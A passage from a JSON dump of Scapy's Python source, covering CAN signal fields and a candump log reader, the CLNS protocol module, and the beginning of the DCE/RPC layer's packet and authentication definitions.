\">Q\"\n\n        field_len = max(msb_pos, lsb_pos) // 8 + 1\n\n        if pkt.wirelen is None:\n            pkt.wirelen = field_len\n\n        pkt.wirelen = max(pkt.wirelen, field_len)\n\n        fld_val = struct.unpack(fmt, (s + b\"\\x00\" * 8)[:8])[0] >> shift\n        fld_val &= ((1 << self.size) - 1)\n\n        if self._is_float_number():\n            fld_val = struct.unpack(self.fmt,\n                                    struct.pack(self.fmt[0] + \"I\", fld_val))[0]\n        elif self._is_signed_number():\n            fld_val = self._convert_to_signed(fld_val, self.size)\n\n        return s, self.m2i(pkt, fld_val)\n\n    def randval(self):\n        # type: () -> Union[RandBinFloat, RandFloat]\n        if self._is_float_number():\n            return RandBinFloat(0, 0)\n\n        if self._is_signed_number():\n            min_val = -2**(self.size - 1)\n            max_val = 2**(self.size - 1) - 1\n        else:\n            min_val = 0\n            max_val = 2 ** self.size - 1\n\n        min_val = round(min_val * self.scaling + self.offset, self.ndigits)\n        max_val = round(max_val * self.scaling + self.offset, self.ndigits)\n\n        return RandFloat(min(min_val, max_val), max(min_val, max_val))\n\n    def i2len(self, pkt, x):\n        # type: (Packet, Any) -> int\n        return int(float(self.size) / 8)\n\n\nclass LEUnsignedSignalField(SignalField):\n    def __init__(self, name, default, start, size, scaling=1, unit=\"\",\n                 offset=0, ndigits=3):\n        # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int) -> None  # noqa: E501\n        SignalField.__init__(self, name, default, start, size,\n                             scaling, unit, offset, ndigits, \"<B\")\n\n\nclass LESignedSignalField(SignalField):\n    def __init__(self, name, default, start, size, scaling=1, unit=\"\",\n                 offset=0, ndigits=3):\n        # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int) -> None  # noqa: E501\n        SignalField.__init__(self, name, default, start, size,\n                             scaling, unit, offset, ndigits, \"<b\")\n\n\nclass BEUnsignedSignalField(SignalField):\n    def __init__(self, name, default, start, size, scaling=1, unit=\"\",\n                 offset=0, ndigits=3):\n        # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int) -> None  # noqa: E501\n        SignalField.__init__(self, name, default, start, size,\n                             scaling, unit, offset, ndigits, \">B\")\n\n\nclass BESignedSignalField(SignalField):\n    def __init__(self, name, default, start, size, scaling=1, unit=\"\",\n                 offset=0, ndigits=3):\n        # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int) -> None  # noqa: E501\n        SignalField.__init__(self, name, default, start, size,\n                             scaling, unit, offset, ndigits, \">b\")\n\n\nclass LEFloatSignalField(SignalField):\n    def __init__(self, name, default, start, scaling=1, unit=\"\",\n                 offset=0, ndigits=3):\n        # type: (str, Union[int, float], int, Union[int, float], str, Union[int, float], int) -> None  # noqa: E501\n        SignalField.__init__(self, name, default, start, 32,\n                             scaling, unit, offset, ndigits, \"<f\")\n\n\nclass BEFloatSignalField(SignalField):\n    def __init__(self, name, default, start, scaling=1, unit=\"\",\n                 offset=0, ndigits=3):\n        # type: (str, Union[int, float], int, Union[int, float], str, Union[int, float], int) -> None  # noqa: E501\n        SignalField.__init__(self, name, default, start, 32,\n                             scaling, unit, offset, ndigits, \">f\")\n\n\nclass SignalPacket(Packet):\n    \"\"\"Special implementation of Packet.\n\n    This class enforces the correct wirelen of a CAN message for\n    signal transmitting in automotive applications.\n    Furthermore, the dissection order of SignalFields in fields_desc is\n    deduced by the start index of a field.\n    \"\"\"\n\n    def pre_dissect(self, s):\n        # type: (bytes) -> bytes\n        if not all(isinstance(f, SignalField) or\n                   (isinstance(f, ConditionalField) and\n                    isinstance(f.fld, SignalField))\n                   for f in self.fields_desc):\n            raise Scapy_Exception(\"Use only SignalFields in a SignalPacket\")\n        return s\n\n    def post_dissect(self, s):\n        # type: (bytes) -> bytes\n        \"\"\"SignalFields can be dissected on packets with unordered fields.\n\n        The order of SignalFields is defined from the start parameter.\n        After a build, the consumed bytes of the length of all SignalFields\n        have to be removed from the SignalPacket.\n        \"\"\"\n        if self.wirelen is not None and self.wirelen > 8:\n            raise Scapy_Exception(\"Only 64 bits for all SignalFields \"\n                                  \"are supported\")\n        self.raw_packet_cache = None  # Reset packet to allow post_build\n        return s[self.wirelen:]\n\n\nclass SignalHeader(CAN):\n    \"\"\"Special implementation of a CAN Packet to allow dynamic binding.\n\n    This class can be provided to CANSockets as basecls.\n\n    Example:\n        >>> class floatSignals(SignalPacket):\n        >>>     fields_desc = [\n        >>>         LEFloatSignalField(\"floatSignal2\", default=0, start=32),\n        >>>         BEFloatSignalField(\"floatSignal1\", default=0, start=7)]\n        >>>\n        >>> bind_layers(SignalHeader, floatSignals, identifier=0x321)\n        >>>\n        >>> dbc_sock = CANSocket(\"can0\", basecls=SignalHeader)\n\n    All CAN messages received from this dbc_sock CANSocket will be interpreted\n    as SignalHeader. Through Scapys ``bind_layers`` mechanism, all CAN messages\n    with CAN identifier 0x321 will interpret the payload bytes of these\n    CAN messages as floatSignals packet.\n    \"\"\"\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        LenField('length', None, fmt='B'),\n        FlagsField('fd_flags', 0, 8, ['bit_rate_switch',\n                                      'error_state_indicator',\n                                      'fd_frame']),\n        ShortField('reserved', 0)\n    ]\n\n    @classmethod\n    def dispatch_hook(cls,\n                      _pkt=None,  # type: Optional[bytes]\n                      *args,  # type: Any\n                      **kargs  # type: Any\n                      ):  # type: (...) -> Type[Packet]\n        return SignalHeader\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        return s, None\n\n\ndef rdcandump(filename, count=-1, interface=None):\n    # type: (str, int, Optional[str]) -> PacketList\n    \"\"\" Read a candump log file and return a packet list.\n\n    :param filename: Filename of the file to read from.\n                     Also gzip files are accepted.\n    :param count: Read only <count> packets. Specify -1 to read all packets.\n    :param interface: Return only packets from a specified interface\n    :return: A PacketList object containing the read files\n    \"\"\"\n    with CandumpReader(filename, interface) as fdesc:\n        return fdesc.read_all(count=count)\n\n\nclass CandumpReader:\n    \"\"\"A stateful candump reader. Each packet is returned as a CAN packet.\n\n    Creates a CandumpReader object\n\n    :param filename: filename of a candump logfile, compressed or\n                     uncompressed, or a already opened file object.\n    :param interface: Name of a interface, if candump contains messages\n                      of multiple interfaces and only one messages from a\n                      specific interface are wanted.\n    \"\"\"\n\n    nonblocking_socket = True\n\n    def __init__(self, filename, interface=None):\n        # type: (str, Optional[Union[List[str], str]]) -> None\n        self.filename, self.f = self.open(filename)\n        self.ifilter = None  # type: Optional[List[str]]\n        if interface is not None:\n            if isinstance(interface, str):\n                self.ifilter = [interface]\n            else:\n                self.ifilter = interface\n\n    def __iter__(self):\n        # type: () -> CandumpReader\n        return self\n\n    @staticmethod\n    def open(filename):\n        # type: (Union[IO[bytes], str]) -> Tuple[str, _ByteStream]\n        \"\"\"Open function to handle three types of input data.\n\n        If filename of a regular candump log file is provided, this function\n        opens the file and returns the file object.\n        If filename of a gzip compressed candump log file is provided, the\n        required gzip open function is used to obtain the necessary file\n        object, which gets returned.\n        If a fileobject or ByteIO is provided, the filename is gathered for\n        internal use. No further steps are performed on this object.\n\n        :param filename: Can be a string, specifying a candump log file or a\n                         gzip compressed candump log file. Also already opened\n                         file objects are allowed.\n        :return: A opened file object for further use.\n        \"\"\"\n        \"\"\"Open (if necessary) filename.\"\"\"\n        if isinstance(filename, str):\n            try:\n                fdesc = gzip.open(filename, \"rb\")  # type: _ByteStream\n                # try read to cause exception\n                fdesc.read(1)\n                fdesc.seek(0)\n            except IOError:\n                fdesc = open(filename, \"rb\")\n            return filename, fdesc\n        else:\n            name = getattr(filename, \"name\", \"No name\")\n            return name, filename\n\n    def next(self):\n        # type: () -> Packet\n        \"\"\"Implements the iterator protocol on a set of packets\n\n        :return: Next readable CAN Packet from the specified file\n        \"\"\"\n        try:\n            pkt = None\n            while pkt is None:\n                pkt = self.read_packet()\n        except EOFError:\n            raise StopIteration\n\n        return pkt\n    __next__ = next\n\n    def read_packet(self, size=CAN_MTU):\n        # type: (int) -> Optional[Packet]\n        \"\"\"Read a packet from the specified file.\n\n        This function will raise EOFError when no more packets are available.\n\n        :param size: Not used. Just here to follow the function signature for\n                     SuperSocket emulation.\n        :return: A single packet read from the file or None if filters apply\n        \"\"\"\n        line = self.f.readline()\n        line = line.lstrip()\n        if len(line) < 16:\n            raise EOFError\n\n        is_log_file_format = line[0] == ord(b\"(\")\n        fd_flags = None\n        if is_log_file_format:\n            t_b, intf, f = line.split()\n            if b'##' in f:\n                idn, data = f.split(b'##')\n                fd_flags = data[0]\n                data = data[1:]\n            else:\n                idn, data = f.split(b'#')\n            le = None\n            t = float(t_b[1:-1])  # type: Optional[float]\n        else:\n            h, data = line.split(b']')\n            intf, idn, le = h.split()\n            t = None\n\n        if self.ifilter is not None and \\\n                intf.decode('ASCII') not in self.ifilter:\n            return None\n\n        data = data.replace(b' ', b'')\n        data = data.strip()\n\n        if len(data) <= 8 and fd_flags is None:\n            pkt = CAN(identifier=int(idn, 16), data=hex_bytes(data))\n        else:\n            pkt = CANFD(identifier=int(idn, 16), fd_flags=fd_flags,\n                        data=hex_bytes(data))\n\n        if le is not None:\n            pkt.length = int(le[1:])\n        else:\n            pkt.length = len(pkt.data)\n\n        if len(idn) > 3:\n            pkt.flags = 0b100\n\n        if t is not None:\n            pkt.time = t\n\n        return pkt\n\n    def dispatch(self, callback):\n        # type: (Callable[[Packet], None]) -> None\n        \"\"\"Call the specified callback routine for each packet read\n\n        This is just a convenience function for the main loop\n        that allows for easy launching of packet processing in a\n        thread.\n        \"\"\"\n        for p in self:\n            callback(p)\n\n    def read_all(self, count=-1):\n        # type: (int) -> PacketList\n        \"\"\"Read a specific number or all packets from a candump file.\n\n        :param count: Specify a specific number of packets to be read.\n                      All packets can be read by count=-1.\n        :return: A PacketList object containing read CAN messages\n        \"\"\"\n        res = []\n        while count != 0:\n            try:\n                p = self.read_packet()\n                if p is None:\n                    continue\n            except EOFError:\n                break\n            count -= 1\n            res.append(p)\n        return PacketList(res, name=os.path.basename(self.filename))\n\n    def recv(self, size=CAN_MTU):\n        # type: (int) -> Optional[Packet]\n        \"\"\"Emulation of SuperSocket\"\"\"\n        try:\n            return self.read_packet(size=size)\n        except EOFError:\n            return None\n\n    def fileno(self):\n        # type: () -> int\n        \"\"\"Emulation of SuperSocket\"\"\"\n        return self.f.fileno()\n\n    @property\n    def closed(self):\n        # type: () -> bool\n        return self.f.closed\n\n    def close(self):\n        # type: () -> Any\n        \"\"\"Emulation of SuperSocket\"\"\"\n        return self.f.close()\n\n    def __enter__(self):\n        # type: () -> CandumpReader\n        return self\n\n    def __exit__(self, exc_type, exc_value, tracback):\n        # type: (Optional[Type[BaseException]], Optional[BaseException], Optional[Any]) -> None  # noqa: E501\n        self.close()\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[int]) -> List[SuperSocket]\n        \"\"\"Emulation of SuperSocket\"\"\"\n        return [s for s in sockets if isinstance(s, CandumpReader) and\n                not s.closed]\n"
  },
  {
    "path": "scapy/layers/clns.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2014, 2015 BENOCS GmbH, Berlin (Germany)\n\n\"\"\"\n    CLNS Extension\n    ~~~~~~~~~~~~~~~~~~~~~\n\n    :copyright: 2014, 2015 BENOCS GmbH, Berlin (Germany)\n    :author:    Marcel Patzlaff, mpatzlaff@benocs.com\n\n    :description:\n\n        This module provides a registration function and a generic PDU\n        for OSI Connectionless-mode Network Services (such as IS-IS).\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.fields import ByteEnumField, PacketField\nfrom scapy.layers.l2 import LLC\nfrom scapy.packet import Packet, bind_top_down, bind_bottom_up\nfrom scapy.compat import orb\n\nnetwork_layer_protocol_ids = {\n    0x00: \"Null\",\n    0x08: \"Q.933\",\n    0x80: \"IEEE SNAP\",\n    0x81: \"ISO 8438 CLNP\",\n    0x82: \"ISO 9542 ES-IS\",\n    0x83: \"ISO 10589 IS-IS\",\n    0x8E: \"IPv6\",\n    0xB0: \"FRF.9\",\n    0xB1: \"FRF.12\",\n    0xC0: \"TRILL\",\n    0xC1: \"IEEE 802.aq\",\n    0xCC: \"IPv4\",\n    0xCF: \"PPP\"\n}\n\n\n_cln_protocols = {}\n\n\nclass _GenericClnsPdu(Packet):\n    name = \"Generic CLNS PDU\"\n    fields_desc = [\n        ByteEnumField(\"nlpid\", 0x00, network_layer_protocol_ids),\n        PacketField(\"rawdata\", None, conf.raw_layer)\n    ]\n\n\ndef _create_cln_pdu(s, **kwargs):\n    pdu_cls = conf.raw_layer\n\n    if len(s) >= 1:\n        nlpid = orb(s[0])\n        pdu_cls = _cln_protocols.get(nlpid, _GenericClnsPdu)\n\n    return pdu_cls(s, **kwargs)\n\n\n@conf.commands.register\ndef register_cln_protocol(nlpid, cln_protocol_class):\n    if nlpid is None or cln_protocol_class is None:\n        return\n\n    chk = _cln_protocols.get(nlpid, None)\n    if chk is not None and chk != cln_protocol_class:\n        raise ValueError(\"different protocol already registered!\")\n\n    _cln_protocols[nlpid] = cln_protocol_class\n    bind_top_down(LLC, cln_protocol_class, dsap=0xfe, ssap=0xfe, ctrl=3)\n\n\nbind_top_down(LLC, _GenericClnsPdu, dsap=0xfe, ssap=0xfe, ctrl=3)\nbind_bottom_up(LLC, _create_cln_pdu, dsap=0xfe, ssap=0xfe, ctrl=3)\n"
  },
  {
    "path": "scapy/layers/dcerpc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# scapy.contrib.description = DCE/RPC\n# scapy.contrib.status = loads\n\n\"\"\"\nDCE/RPC\nDistributed Computing Environment / Remote Procedure Calls\n\nBased on [C706] - aka DCE/RPC 1.1\nhttps://pubs.opengroup.org/onlinepubs/9629399/toc.pdf\n\nAnd on [MS-RPCE]\nhttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15\n\n.. note::\n    Please read the documentation over\n    `DCE/RPC <https://scapy.readthedocs.io/en/latest/layers/dcerpc.html>`_\n\"\"\"\n\nimport collections\nimport importlib\nimport inspect\nimport struct\n\nfrom enum import IntEnum\nfrom functools import partial\nfrom uuid import UUID\n\nfrom scapy.base_classes import Packet_metaclass\n\nfrom scapy.config import conf\nfrom scapy.compat import bytes_encode, plain_str\nfrom scapy.error import log_runtime\nfrom scapy.layers.dns import DNSStrField\nfrom scapy.layers.ntlm import (\n    NTLM_Header,\n    NTLMSSP_MESSAGE_SIGNATURE,\n)\nfrom scapy.packet import (\n    Packet,\n    Raw,\n    bind_bottom_up,\n    bind_layers,\n    bind_top_down,\n    NoPayload,\n)\nfrom scapy.fields import (\n    _FieldContainer,\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    EnumField,\n    Field,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IntField,\n    LEIntEnumField,\n    LEIntField,\n    LELongField,\n    LEShortEnumField,\n    LEShortField,\n    LenField,\n    MultipleTypeField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    PadField,\n    ReversePadField,\n    ShortEnumField,\n    ShortField,\n    SignedByteField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    StrLenFieldUtf16,\n    StrNullField,\n    StrNullFieldUtf16,\n    TrailerField,\n    UUIDEnumField,\n    UUIDField,\n    XByteField,\n    XLEIntField,\n    XLELongField,\n    XLEShortField,\n    XShortField,\n    XStrFixedLenField,\n)\nfrom scapy.sessions import DefaultSession\nfrom scapy.supersocket import StreamSocket\n\nfrom scapy.layers.kerberos import (\n    KRB_InnerToken,\n    Kerberos,\n)\nfrom scapy.layers.gssapi import (\n    GSSAPI_BLOB,\n    GSSAPI_BLOB_SIGNATURE,\n    GSS_S_COMPLETE,\n    GSS_S_FLAGS,\n    GSS_C_FLAGS,\n    SSP,\n)\nfrom scapy.layers.inet import TCP\n\nfrom scapy.contrib.rtps.common_types import (\n    EField,\n    EPacket,\n    EPacketField,\n    EPacketListField,\n)\n\n# Typing imports\nfrom typing import (\n    Optional,\n    Union,\n)\n\n# the alignment of auth_pad\n# This is 4 in [C706] 13.2.6.1 but was updated to 16 in [MS-RPCE] 2.2.2.11\n_COMMON_AUTH_PAD = 16\n# the alignment of the NDR Type 1 serialization private header\n# ([MS-RPCE] sect 2.2.6.2)\n_TYPE1_S_PAD = 8\n\n# DCE/RPC Packet\nDCE_RPC_TYPE = {\n    0: \"request\",\n    1: \"ping\",\n    2: \"response\",\n    3: \"fault\",\n    4: \"working\",\n    5: \"no_call\",\n    6: \"reject\",\n    7: \"acknowledge\",\n    8: \"connectionless_cancel\",\n    9: \"frag_ack\",\n    10: \"cancel_ack\",\n    11: \"bind\",\n    12: \"bind_ack\",\n    13: \"bind_nak\",\n    14: \"alter_context\",\n    15: \"alter_context_resp\",\n    16: \"auth3\",\n    17: \"shutdown\",\n    18: \"co_cancel\",\n    19: \"orphaned\",\n}\n_DCE_RPC_4_FLAGS1 = [\n    \"reserved_01\",\n    \"last_frag\",\n    \"frag\",\n    \"no_frag_ack\",\n    \"maybe\",\n    \"idempotent\",\n    \"broadcast\",\n    \"reserved_7\",\n]\n_DCE_RPC_4_FLAGS2 = [\n    \"reserved_0\",\n    \"cancel_pending\",\n    \"reserved_2\",\n    \"reserved_3\",\n    \"reserved_4\",\n    \"reserved_5\",\n    \"reserved_6\",\n    \"reserved_7\",\n]\nDCE_RPC_TRANSFER_SYNTAXES = {\n    UUID(\"00000000-0000-0000-0000-000000000000\"): \"NULL\",\n    UUID(\"6cb71c2c-9812-4540-0300-000000000000\"): \"Bind Time Feature Negotiation\",\n    UUID(\"8a885d04-1ceb-11c9-9fe8-08002b104860\"): \"NDR 2.0\",\n    UUID(\"71710533-beba-4937-8319-b5dbef9ccc36\"): \"NDR64\",\n}\nDCE_RPC_INTERFACES_NAMES = {}\nDCE_RPC_INTERFACES_NAMES_rev = {}\nCOM_INTERFACES_NAMES = {}\nCOM_INTERFACES_NAMES_rev = {}\n\n\nclass DCERPC_Transport(IntEnum):\n    \"\"\"\n    Protocols identifiers currently supported by Scapy\n    \"\"\"\n\n    NCACN_IP_TCP = 0x07\n    NCACN_NP = 0x0F\n    # TODO: add more.. if people use them?\n\n\n# [C706] Appendix I with names from Appendix B\nDCE_RPC_PROTOCOL_IDENTIFIERS = {\n    0x0: \"OSI OID\",  # Special\n    0x0D: \"UUID\",  # Special\n    # Transports\n    # 0x2: \"DNA Session Control\",\n    # 0x3: \"DNA Session Control V3\",\n    # 0x4: \"DNA NSP Transport\",\n    # 0x5: \"OSI TP4\",\n    0x06: \"NCADG_OSI_CLSN\",  # [C706]\n    0x07: \"NCACN_IP_TCP\",  # [C706]\n    0x08: \"NCADG_IP_UDP\",  # [C706]\n    0x09: \"IP\",  # [C706]\n    0x0A: \"RPC connectionless protocol\",  # [C706]\n    0x0B: \"RPC connection-oriented protocol\",  # [C706]\n    0x0C: \"NCALRPC\",\n    0x0F: \"NCACN_NP\",  # [MS-RPCE]\n    0x11: \"NCACN_NB\",  # [C706]\n    0x12: \"NCACN_NB_NB\",  # [MS-RPCE]\n    0x13: \"NCACN_SPX\",  # [C706]\n    0x14: \"NCADG_IPX\",  # [C706]\n    0x16: \"NCACN_AT_DSP\",  # [C706]\n    0x17: \"NCADG_AT_DSP\",  # [C706]\n    0x19: \"NCADG_NB\",  # [C706]\n    0x1A: \"NCACN_VNS_SPP\",  # [C706]\n    0x1B: \"NCADG_VNS_IPC\",  # [C706]\n    0x1F: \"NCACN_HTTP\",  # [MS-RPCE]\n}\n\n\ndef _dce_rpc_endianness(pkt):\n    \"\"\"\n    Determine the right endianness sign for a given DCE/RPC packet\n    \"\"\"\n    if pkt.endian == 0:  # big endian\n        return \">\"\n    elif pkt.endian == 1:  # little endian\n        return \"<\"\n    else:\n        return \"!\"\n\n\nclass _EField(EField):\n    def __init__(self, fld):\n        super(_EField, self).__init__(fld, endianness_from=_dce_rpc_endianness)\n\n\nclass DceRpc(Packet):\n    \"\"\"DCE/RPC packet\"\"\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 1:\n            ver = ord(_pkt[0:1])\n            if ver == 4:\n                return DceRpc4\n            elif ver == 5:\n                return DceRpc5\n        return DceRpc5\n\n    @classmethod\n    def tcp_reassemble(cls, data, metadata, session):\n        if data[0:1] == b\"\\x05\":\n            return DceRpc5.tcp_reassemble(data, metadata, session)\n        return DceRpc(data)\n\n\nbind_bottom_up(TCP, DceRpc, sport=135)\nbind_layers(TCP, DceRpc, dport=135)\n\n\nclass _DceRpcPayload(Packet):\n    @property\n    def endianness(self):\n        if not self.underlayer:\n            return \"!\"\n        return _dce_rpc_endianness(self.underlayer)\n\n\n# sect 12.5\n\n_drep = [\n    BitEnumField(\"endian\", 1, 4, [\"big\", \"little\"]),\n    BitEnumField(\"encoding\", 0, 4, [\"ASCII\", \"EBCDIC\"]),\n    ByteEnumField(\"float\", 0, [\"IEEE\", \"VAX\", \"CRAY\", \"IBM\"]),\n    ByteField(\"reserved1\", 0),\n]\n\n\nclass DceRpc4(DceRpc):\n    \"\"\"\n    DCE/RPC v4 'connection-less' packet\n    \"\"\"\n\n    name = \"DCE/RPC v4\"\n    fields_desc = (\n        [\n            ByteEnumField(\n                \"rpc_vers\", 4, {4: \"4 (connection-less)\", 5: \"5 (connection-oriented)\"}\n            ),\n            ByteEnumField(\"ptype\", 0, DCE_RPC_TYPE),\n            FlagsField(\"flags1\", 0, 8, _DCE_RPC_4_FLAGS1),\n            FlagsField(\"flags2\", 0, 8, _DCE_RPC_4_FLAGS2),\n        ]\n        + _drep\n        + [\n            XByteField(\"serial_hi\", 0),\n            _EField(UUIDField(\"object\", None)),\n            _EField(UUIDField(\"if_id\", None)),\n            _EField(UUIDField(\"act_id\", None)),\n            _EField(IntField(\"server_boot\", 0)),\n            _EField(IntField(\"if_vers\", 1)),\n            _EField(IntField(\"seqnum\", 0)),\n            _EField(ShortField(\"opnum\", 0)),\n            _EField(XShortField(\"ihint\", 0xFFFF)),\n            _EField(XShortField(\"ahint\", 0xFFFF)),\n            _EField(LenField(\"len\", None, fmt=\"H\")),\n            _EField(ShortField(\"fragnum\", 0)),\n            ByteEnumField(\"auth_proto\", 0, [\"none\", \"OSF DCE Private Key\"]),\n            XByteField(\"serial_lo\", 0),\n        ]\n    )\n\n\n# Exceptionally, we define those 3 here.\n\n\nclass NL_AUTH_MESSAGE(Packet):\n    # [MS-NRPC] sect 2.2.1.3.1\n    name = \"NL_AUTH_MESSAGE\"\n    fields_desc = [\n        LEIntEnumField(\n            \"MessageType\",\n            0x00000000,\n            {\n                0x00000000: \"Request\",\n                0x00000001: \"Response\",\n            },\n        ),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            [\n                \"NETBIOS_DOMAIN_NAME\",\n                \"NETBIOS_COMPUTER_NAME\",\n                \"DNS_DOMAIN_NAME\",\n                \"DNS_HOST_NAME\",\n                \"NETBIOS_COMPUTER_NAME_UTF8\",\n            ],\n        ),\n        ConditionalField(\n            StrNullField(\"NetbiosDomainName\", \"\"),\n            lambda pkt: pkt.Flags.NETBIOS_DOMAIN_NAME,\n        ),\n        ConditionalField(\n            StrNullField(\"NetbiosComputerName\", \"\"),\n            lambda pkt: pkt.Flags.NETBIOS_COMPUTER_NAME,\n        ),\n        ConditionalField(\n            DNSStrField(\"DnsDomainName\", \"\"),\n            lambda pkt: pkt.Flags.DNS_DOMAIN_NAME,\n        ),\n        ConditionalField(\n            DNSStrField(\"DnsHostName\", \"\"),\n            lambda pkt: pkt.Flags.DNS_HOST_NAME,\n        ),\n        ConditionalField(\n            # What the fuck? Why are they doing this\n            # The spec is just wrong\n            DNSStrField(\"NetbiosComputerNameUtf8\", \"\"),\n            lambda pkt: pkt.Flags.NETBIOS_COMPUTER_NAME_UTF8,\n        ),\n    ]\n\n\nclass NL_AUTH_SIGNATURE(Packet):\n    # [MS-NRPC] sect 2.2.1.3.2/2.2.1.3.3\n    name = \"NL_AUTH_(SHA2_)SIGNATURE\"\n    fields_desc = [\n        LEShortEnumField(\n            \"SignatureAlgorithm\",\n            0x0077,\n            {\n                0x0077: \"HMAC-MD5\",\n                0x0013: \"HMAC-SHA256\",\n            },\n        ),\n        LEShortEnumField(\n            \"SealAlgorithm\",\n            0xFFFF,\n            {\n                0xFFFF: \"Unencrypted\",\n                0x007A: \"RC4\",\n                0x001A: \"AES-128\",\n            },\n        ),\n        XLEShortField(\"Pad\", 0xFFFF),\n        ShortField(\"Flags\", 0),\n        XStrFixedLenField(\"SequenceNumber\", b\"\", length=8),\n        XStrFixedLenField(\"Checksum\", b\"\", length=8),\n        ConditionalField(\n            XStrFixedLenField(\"Confounder\", b\"\", length=8),\n            lambda pkt: pkt.SealAlgorithm != 0xFFFF,\n        ),\n        MultipleTypeField(\n            [\n                (\n                    StrFixedLenField(\"Reserved2\", b\"\", length=24),\n                    lambda pkt: pkt.SignatureAlgorithm == 0x0013,\n                ),\n            ],\n            StrField(\"Reserved2\", b\"\"),\n        ),\n    ]\n\n\n# [MS-RPCE] sect 2.2.1.1.7\n# https://learn.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants\n# rpcdce.h\n\n\nclass RPC_C_AUTHN(IntEnum):\n    NONE = 0x00\n    DCE_PRIVATE = 0x01\n    DCE_PUBLIC = 0x02\n    DEC_PUBLIC = 0x04\n    GSS_NEGOTIATE = 0x09\n    WINNT = 0x0A\n    GSS_SCHANNEL = 0x0E\n    GSS_KERBEROS = 0x10\n    DPA = 0x11\n    MSN = 0x12\n    KERNEL = 0x14\n    DIGEST = 0x15\n    NEGO_EXTENDED = 0x1E\n    PKU2U = 0x1F\n    LIVE_SSP = 0x20\n    LIVEXP_SSP = 0x23\n    CLOUD_AP = 0x24\n    NETLOGON = 0x44\n    MSONLINE = 0x52\n    MQ = 0x64\n    DEFAULT = 0xFFFFFFFF\n\n\nclass RPC_C_AUTHN_LEVEL(IntEnum):\n    DEFAULT = 0x0\n    NONE = 0x1\n    CONNECT = 0x2\n    CALL = 0x3\n    PKT = 0x4\n    PKT_INTEGRITY = 0x5\n    PKT_PRIVACY = 0x6\n\n\nDCE_C_AUTHN_LEVEL = RPC_C_AUTHN_LEVEL  # C706 name\n\n\nclass RPC_C_IMP_LEVEL(IntEnum):\n    DEFAULT = 0x0\n    ANONYMOUS = 0x1\n    IDENTIFY = 0x2\n    IMPERSONATE = 0x3\n    DELEGATE = 0x4\n\n\n# C706 sect 13.2.6.1\n\n\nclass CommonAuthVerifier(Packet):\n    name = \"Common Authentication Verifier\"\n    fields_desc = [\n        ByteEnumField(\n            \"auth_type\",\n            0,\n            RPC_C_AUTHN,\n        ),\n        ByteEnumField(\"auth_level\", 0, RPC_C_AUTHN_LEVEL),\n        ByteField(\"auth_pad_length\", None),\n        ByteField(\"auth_reserved\", 0),\n        XLEIntField(\"auth_context_id\", 0),\n        MultipleTypeField(\n            [\n                # SPNEGO\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        GSSAPI_BLOB(),\n                        GSSAPI_BLOB,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type == 0x09 and pkt.parent and\n                    # Bind/Alter\n                    pkt.parent.ptype in [11, 12, 13, 14, 15, 16],\n                ),\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        GSSAPI_BLOB_SIGNATURE(),\n                        GSSAPI_BLOB_SIGNATURE,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type == 0x09\n                    and pkt.parent\n                    and (\n                        # Other\n                        not pkt.parent\n                        or pkt.parent.ptype not in [11, 12, 13, 14, 15, 16]\n                    ),\n                ),\n                # Kerberos\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        Kerberos(),\n                        Kerberos,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type == 0x10 and pkt.parent and\n                    # Bind/Alter\n                    pkt.parent.ptype in [11, 12, 13, 14, 15, 16],\n                ),\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        KRB_InnerToken(),\n                        KRB_InnerToken,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type == 0x10\n                    and pkt.parent\n                    and (\n                        # Other\n                        not pkt.parent\n                        or pkt.parent.ptype not in [11, 12, 13, 14, 15, 16]\n                    ),\n                ),\n                # NTLM\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        NTLM_Header(),\n                        NTLM_Header,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type in [0x0A, 0xFF] and pkt.parent and\n                    # Bind/Alter\n                    pkt.parent.ptype in [11, 12, 13, 14, 15, 16],\n                ),\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        NTLMSSP_MESSAGE_SIGNATURE(),\n                        NTLMSSP_MESSAGE_SIGNATURE,\n                        length_from=lambda pkt: pkt.parent.auth_len,\n                    ),\n                    lambda pkt: pkt.auth_type in [0x0A, 0xFF]\n                    and pkt.parent\n                    and (\n                        # Other\n                        not pkt.parent\n                        or pkt.parent.ptype not in [11, 12, 13, 14, 15, 16]\n                    ),\n                ),\n                # NetLogon\n                (\n                    PacketLenField(\n                        \"auth_value\",\n                        NL_AUTH_MESSAGE(),\n                        